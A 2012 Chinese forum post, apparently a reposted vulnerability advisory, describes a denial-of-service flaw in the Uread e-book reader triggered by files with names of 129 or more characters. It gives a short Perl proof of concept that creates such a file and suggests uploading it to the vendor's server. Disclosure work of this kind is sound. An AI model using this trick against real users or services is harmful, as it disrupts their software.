汤亚兰 發表於 2012-7-4 14:35:54

Uread阅读器拒绝服务漏洞的分析与解决

Uread阅读器在远程或本地打开文件名过长(大于或等于129个字符)的upub等文件时将引起uread.exe程序无法正常工作,必须重新启动uread.exe进程方可。 <br />远程攻击者可考虑将过长文件名的文件上传至&ldquo;至善读书&rdquo;的服务器端,实现远程拒绝服务攻击。 <br />测试证明 <br />----------------------------------------------------------- <br />#!/usr/bin/perl -w <br />$filename=&quot;a&quot;x129; <br />print &quot;------Generate testfile \&quot;a\&quot;x129.epub------\n&quot;; <br />open(TESTFILE, &quot;&gt;$filename.epub&quot;); <br />sleep(3); <br />close(TESTFILE); <br />print &quot;------Complete!------\n&quot;; <br />exit(1); <br />----------------------------------------------------------- <br />修复方案: <br />目前厂商还没有提供补丁或者升级程序。 <br />作者 demonalex <br />
頁: [1]
查看完整版本: Uread阅读器拒绝服务漏洞的分析与解决